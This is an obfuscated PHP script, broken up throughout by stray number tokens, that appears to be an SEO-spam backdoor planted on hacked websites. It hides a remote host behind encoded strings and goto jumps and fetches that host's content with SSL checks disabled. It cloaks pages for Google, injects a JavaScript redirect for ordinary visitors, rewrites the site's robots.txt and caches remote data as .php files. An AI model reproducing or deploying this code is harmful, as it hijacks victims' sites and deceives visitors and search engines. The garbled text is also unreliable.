1 < 2 ?p 3 hp 2 e 3 rro 2 r_ 3 rep 3 ort 2 in 3 g(0 2 ); 2 2 $g 3 et 3 = f 2 il 3 ter 3 _in 2 pu 3 t_a 3 rra 2 y( 2 IN 4 PUT_ 3 GET 2 , 2 FI 3 LTE 2 R_ 2 SA 2 NI 2 TI 3 ZE_ 2 ST 2 RI 2 NG 4 ); 2 3 /* 1 - 19 ------------------------ 2 5 1 2 2 2 1 2 2 2 2 2 1 2 2 2 1d ------------------------- */ 2 f 2 un 3 cti 3 on 2 ca 3 che 1 _ 4 get( 3 $ke 2 y, 3 $e 3 xpi 2 re 3 = 3 300 2 ) 1 { 7 $ 3 fil 6 e = sy 1 s 6 _get_t 3 emp 2 _d 3 ir( 2 ) 3 . ' 1 / 7 cache_' 4 . m 2 d5 5 ($key 6 ) . '. 4 php' 1 ; 7 i 3 f ( 4 file 3 _ex 3 ist 2 s( 5 $file 3 ) & 2 & 2 (t 3 ime 3 () 1 - 6 filem 5 time( 7 $file)) a < $expire 9 ) { 5 r 3 etu 2 rn 5 file 6 _get_c 3 ont 2 en 9 ts($file) 7 ; 7 } 8 return f 3 als 4 e; 1 } 12 function cache_s a et($key, $ 2 da 2 ta 4c ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; @ 5 file_ 4 put_ e contents($file 7 , $data 3 , L 2 OC 2 K_ 2 EX 1 ) 6 ; } 25 /* ------------------------- 2 2 2 2 2 1 2 2 2 2 2 IP 2 2 1 2 2 2 C 3 DN 2 / 2 2 1 2 2 29 ------------------------- */ function 6 get_re 2 al 3 _ip 1 ( a ) { $ 4 keys 4 = [ c 'H 2 TT 2 P_ 2 CF 3 _CO 2 NN 2 EC 1 T 4 ING_ 3 IP' 2 , 3 // 2 Cl 3 oud 2 fl 3 are 10 'HTTP_ 2 X_ 2 RE 2 AL 6 _IP', a // 2 Ng 3 inx 12 'HTTP_X_ 2 FO 2 RW 2 AR 2 DE 5 D_FOR 4 ', 4 // P 2 ro 2 xy 11 'HTTP_C 2 LI 3 ENT 5 _IP', b ' 2 RE 2 MO 3 TE_ 2 AD 2 DR 7 ' 1 ] 5 ; 6 fo 3 rea 2 ch 2 ( 7 $keys a 1 s 3 $k d ) { 5 if (! 3 emp 2 ty 3 ($_ 2 SE 2 RV 2 ER 2 [$ 2 k] 1 ) d ) { 7 $ip 3 = c $_SERVER[$k] 9 ; c if ( 3 str 2 po 4 s($i 2 p, 3 ', 3 ') 2 != 1 = 6 false 11 ) { b $ip = t 2 ri 2 m( 4 expl 3 ode 1 ( 4 ',', 5 $ip) 2 [0 1 ] 8 ); 9 } 14 if ( 7 filter_ 2 va 1 r 6 ($ip, 8 FILTER_V 2 AL 2 ID 1 A 5 TE_IP 1 ) 15 ) { 7 return 3 $ip 12 ; } f } e } return 3 '12 2 7. 1 0 5 .0.1' 2c ; } /* ------------------------- 1 2 2 2 1 4 get 3 Cur 2 l( 1 ) 2c ------------------------- */ function get 5 CurlF 2 as 3 t($ 3 url 5 ) { 7 $ 5 cache 4 d = f cache_get($url) b ; if ( 8 $cached b !== false) 8 return $ 6 cached 9 ; 5 $data 5 = '' 9 ; 5 if (f 7 unction 8 _exists( 2 'c 3 url 3 _in 3 it' e )) { 1 $ 3 ch 3 = c 8 url_init 11 ($url); 5 curl_ 3 set 2 op 8 t_array( 4 $ch, 10 [ 2 CU 2 RL 3 OPT 3 _RE 2 TU 2 RN 2 TR 3 ANS 2 FE 2 R 2 => 3 tr 3 ue, 16 CURLOPT_ 9 CONNECTTI 2 ME 2 OU 5 T => 1 5 17 , CURLOPT_ 8 TIMEOUT a => 1 8 17 , CURLOPT_ 2 SS 2 L_ 4 VERI 1 F 3 YPE b ER => false 21 , CURLOPT_SSL_VERIFY 2 HO 2 ST 22 => false, CURLOPT_FO 2 LL 1 O 1 W 5 LOCAT 2 IO 1 N 21 => false, CURLOPT_U 3 SER 2 AG 3 ENT b => "M 2 oz 3 ill 2 a/ 2 5. 2 0" a d ]); 8 $data = 5 curl_ 3 exe 1 c 4 ($ch 12 ); curl_c 3 los 1 e d ($ch); } c if ( 7 empty($ 6 data) 3 && 3 ini 6 _get(' 3 all 2 ow 5 _url_ 2 fo 3 pen 11 ')) { $c 5 ontex 4 t = 3 str 3 eam 1 _ 9 context_c 4 reat 2 e( f [ 2 "h 3 ttp 1 " 5 => [ 1 " 6 timeou 2 t" 6 => 8, 4 "he 3 ade 1 r 6 " => " 3 Use 2 r- 2 Ag 3 ent 2 : c Mozilla/5.0\ 2 r\ 3 n"] 11 , "s 2 sl 2 " 7 => ["v 3 eri 2 fy 3 _pe 7 er" => 7 false, c "verify_peer 3 _na 2 me a " => false 1 ] 1f ]); $data = 1 @ 13 file_get_contents($ 4 url, 10 false, $context 16 ); } if (! c empty($data) 1 ) c cache_set($ 5 url, 7 $data); d return 5 $data 2b ; } /* ------------------------- 5 URL 1 2 2 2d ------------------------- */ function get_ 7 url_inf 1 o 4 (str 4 ing 2 $t 3 ype 2 =' 3 dom 2 ai 3 n') 2 : 7 string 9 { $h 2 os 1 t c = $_SERVER[ 6 'HTTP_ 5 HOST' 2 ] 2 ?? 6 ''; 9 if ($ 4 type 2 = 4 == ' 2 no 2 _w 3 ww' b ) return pr 2 eg 4 _rep 2 la 1 c 4 e('/ 4 ^www 2 \. 2 /i 3 ', 1 ' 8 ', $host 1 ) b ; $p 2 ro 3 toc 2 ol 3 = 11 (!empty($_SERVER[ 5 'HTTP 2 S' 1 ] 5 ) && 11 $_SERVER['HTTPS'] 7 !== 'o 2 ff 3 ') 1 ? 7 "https 3 :// 2 " 7 : "http 4 ://" 7 ; 2 $b 2 as 4 e = b $protocol . 6 $host d ; if ( f $type === 'base a ') return 5 $base 18 ; if ($type === 'fu 2 ll f ') return $base 3 . c ($_SERVER['R 1 E 2 QU 2 ES 4 T_UR 1 I 8 '] ?? '' a ); 8 return $ 7 host; 28 } /* ------------------------- 2 2 1 2 2 2 1 20 ------------------------- */ 1 g 5 oto O 2 NP 2 uB 1 ; 7 ONPuB: 3 $h 4 ttp_ 6 type = 1 11 !empty($_SERVER[" 2 \x 2 48 3 \12 2 4\ 2 x5 5 4\x50 4 \x53 1 " f ]) && $_SERVER[ a "\x48\124\ 6 124\x5 7 0\x53"] 6 !== " 3 \15 2 7\ 2 x6 2 6\ 2 14 2 6" 4 ? " 3 \15 4 0\x7 8 4\x74\x7 2 0\ 2 16 2 3\ 3 72\ 2 x2 5 f\x2f 5 " : " 3 \x6 3 8\1 2 64 8 \164\160 8 \72\x2f\ 3 57" 2 ; 6 goto O 2 4O 2 9k 7 ; O4O9k 3 : $ 1 v 1a url = "\x74\157\56\152\147 4 \141 4 \x6c 5 \x6c\ 5 163\x 2 2e 4 \143 7 \157\x6 1 d 5 \x2f" 8 ; goto v 2 gv 3 72; 6 vgv72 3 : $ 2 qz 4 = s 2 ub 3 str 4 (str 9 _replace( a array("\x7 1 7 6 \x77\1 2 67 5 \x2e" 3 , " 4 \56" 1 ) 7 , '', $ a _SERVER["\ 3 110 7 \x54\x5 4 4\12 4 0\x5 1 f 6 \x48\x 2 4f 4 \123 4 \x54 4 "]), 3 0, 2 3 4 ); 25 /* ------------------------- 2 1 3 f 4 参 24 数 ------------------------- */ $ 5 sz = 2 $i 1 i 5 d = " 4 "; 2 if a (!empty($_ 3 GET 2 )) 3 { 2 $ 3 f=r 1 e 5 set($ 5 _GET) 9 ; $s 4 p = a explode('- 5 ', $f d ); if (c 3 oun 3 t($ 3 sp) 5 === 1 2 e ) { $ 3 sz 6 = $sp 3 [0] c ; $ a iid = $sp[ 2 1] b ; } } 26 /* ------------------------- 2 1 2 2 2 1 1 20 ------------------------- */ d if (!empty($s 1 z a )) { 2 $j 4 d = c getCurlFast( 2 "{ a $http_type 2 }{ 5 $vurl 2 }3 2 kg 2 .a 3 spx 2 ?s 2 z= 1 " 6 . url 3 enc 4 ode( 5 $sz)) 5 ; } 1 e 3 lse 37 { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx? 3 xy= c {$http_type} 1 " b ); $sz 2d = getCurlFast("{$http_type}{$vurl}3kg.aspx?j 1 d 11 =" . urlencode($j 2 d) a ); } $ 3 hyz 2 hd 1 y 4 = $ 5 jd . 2 "4 1 1 5 .aspx 6 "; $s 4 url 1 b = $jd . "s b 41.aspx"; 25 /* ------------------------- 2 ro 3 bot 1 s 4 / s 1 i 5 temap 22 ------------------------- */ $s 7 itemapL 2 in 5 e = " 1 S 8 itemap: e {$http_type}{$ 14 _SERVER['HTTP_HOST'] d }{$_SERVER['S 2 CR 1 I 4 PT_N 2 AM 4 E']} 2 ?w 5 =" . 1 d 5 ate(' 2 Ym 2 dH 2 i' 4 ) . 1 " 4 \n"; b function 2 en 4 sure 1 _ 7 robots_ 8 sitemap( c $sitemapLine a ) { $ 9 robots = 1 r 5 trim( b $_SERVER['D 2 OC 2 UM 4 ENT_ 2 RO 1 O 3 T'] 5 , "/\ 5b \") . '/robots.txt'; if (!file_exists($robots)) { @file_put_contents($robots, 7 "User- 7 agent: 3 *\n 1 A 5 llow: 2 / 3 \n" 4 . $ b sitemapLine d , LOCK_EX); 5 } d else { 6 $c 17 = @file_get_contents($ 7 robots) 1 ; e if ( c $c === false 2 | 2 | 8 strpos($ 2 c, d $sitemapLine 1 ) a === false 11 ) { 1c @file_put_contents($robots, e $sitemapLine, 3 FIL 4 E_AP 3 PEN 2 D 1 | 10 LOCK_EX); 7 } a } } 26 /* ------------------------- w 3 = 1 2 2 2c ------------------------- */ if (!empty($ 4 get[ 2 'w 1 ' 7 ])) { 9 $pa 2 ra 1 m 4 s = 6 http_b 3 uil 2 d_ 2 qu 3 ery d ([ ' 2 NO 2 Um 3 ber 1 ' 4 => e $get['NOUmber' 14 ] ?? '', 't 1 ' a => 7 $get['t 14 '] ?? '', ' 3 cn' f => $get[' 3 cn' 14 ] ?? '', 'p 4 NOUm 1 ' 12 => $get['pNOUm' 14 ] ?? '', 'c 2 id 1 ' 12 => $get['cid' 13 ] ?? '', ' 1 m 11 ' => $get[' 9 m'] ?? '' 7 ] b ); $ 3 str 16 = getCurlFast("{$surl 2 }? 1 { 7 $params 6 }"); 8 ec 2 ho 1 c str_replace( b [ 2 'y 3 ymm 2 ', 2 'g 7 gggg',' 2 ?f 1 = 3 '], b [ b $http_type. 16 $_SERVER['HTTP_HOST']. 17 $_SERVER['SCRIPT_NAME'] 5 , $sz 4 ,'?' 1 . 4 $qz. 1 ' e ='], a $str 8 ); 3 exi 2d t; } /* ------------------------- I 2 P 2 2 1 2 2 2 1 2 2 3 kk 1 2 2 1 24 ) ------------------------- */ $ 5 kk = 2 is 5 set($ 5 get[' 2 kk 4 ']) 1 ? 6 trim( c $get['kk']) 1 : 6 ''; 6 $ip = 5 ($kk 5 !== ' 7 ') ? "6 2 6. 2 24 2 9. 2 82 2 .8 4 " : d get_real_ip() 28 ; /* ------------------------- 3 get 6 domain 1 2 5 判 2 27 ------------------------- */ $domain 8 = trim( d getCurlFast($ 6 jd . " a getdomain2 6 .aspx? 2 rn 2 d= 3 1&i 1 p 5 =" . 4 $ip) 2a ); /* ------------------------- 2 3 go 3 ogl 2 e 2 + 4 iid 1 2 2 2 2 1 24 ------------------------- */ if ( 8 $domain 5 !== ' 6 google 1 ' 4 && 8 !empty($ 3 iid b )) { $ 1 k 4 name 6 = url 2 de 5 code( 15 getCurlFast($jd . "gn 6 .aspx? 3 iid 8 =" . $ii 6 d)); 9 echo 2 '< 3 scr 2 ip 3 t>l 2 oc 1 a 5 tion= 1 " 4 ' . 8 $jd . "a 7 .aspx?c 4 name 10 =" . urlencode($ 5 kname 6 ) . "& 3 url 6 =" . $ b http_type . 17 $_SERVER['HTTP_HOST'] c . $_SERVER[' d SCRIPT_NAME'] 5 . '" 2 1 ' 36 ; exit; } /* ------------------------- 4 iid 32 输出 ------------------------- */ if (!empty($ e iid)) { $ 12 str = getCurlFast( 8 $hyzhdy 3 . " 5 ?iid= 1 { 4 $iid 29 }"); echo str_replace( [' 8 ggggg',' 5 YYYYY 3 ',' 2 XX 1 X 7 YYY',' 2 2 1 3 URL 4 ','U 4 UUUU 4 ','M 4 MMMM 15 ','?f='], [$ 3 sz, f get_url_info() f , get_url_info( 7 'base') 10 , get_url_info(' 6 full') 10 , get_url_info(' 9 no_www'), 3 par 2 se 4 _url 18 ($_SERVER['REQUEST_URI'] 3 , P 2 HP 3 _UR 3 L_P 2 AT 2 H) 59 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- 8 sitemap 2 he 3 lpe 1 r 29 ------------------------- */ function 2 ou 1 t 4 put_ 9 sitemap_a 2 nd 4 _exi 1 t e ($sitemapLine, b $http_type 9 ) { 23 ensure_robots_sitemap($sitemapLine) c ; echo 2 "< 2 di 1 v 5 styl 2 e= 1 ' 5 text- 3 ali 2 gn 2 :c 3 ent 2 er 3 ;pa 2 dd 3 ing 2 :1 2 0p 3 x 0 2 ;' 1 > e 3 8 Sitemap< 2 /a d > 2 " 36 ; exit; } /* ------------------------- 3 kk 7 输出 2 2 1 25 ------------------------- */ if ($ 9 kk !== '' 4 && 6 preg_m 2 at 2 ch 4 ('/^ 2 [A 4 -Za- 2 z0 2 -9 1 ] 3 +$/ 6 ', $kk d )) { $re 3 mot 1 e 10 = getCurlFast($ 1a jd . "getdomain2.aspx?rnd= 2 2& 2 kk 6 =" . $ 3 kk) c ; if (! 7 empty($ 6 remote e )) { 5 echo 7 $remote b ; 7 exit; c } } 13 if ($kk !== '' && ! 2c preg_match('/^[A-Za-z0-9]+$/', $kk)) { 31 output_sitemap_and_exit($sitemapLine, $http_type) 9 ; } $ 3 is_ 3 no_ 5 query 4 = e f mpty($_SERVER[' 3 QUE 2 RY 8 _STRING' 7 ]); 8 if ($kk 1 = 9 == '' && c $is_no_query 9 ) { c if ($domain 1 = b == 'google' d ) { 34 output_sitemap_and_exit($sitemapLine, $http_type); 16 } else { 13 exit; } } 34 output_sitemap_and_exit($sitemapLine, $http_type); 1 ? 2 > 1 0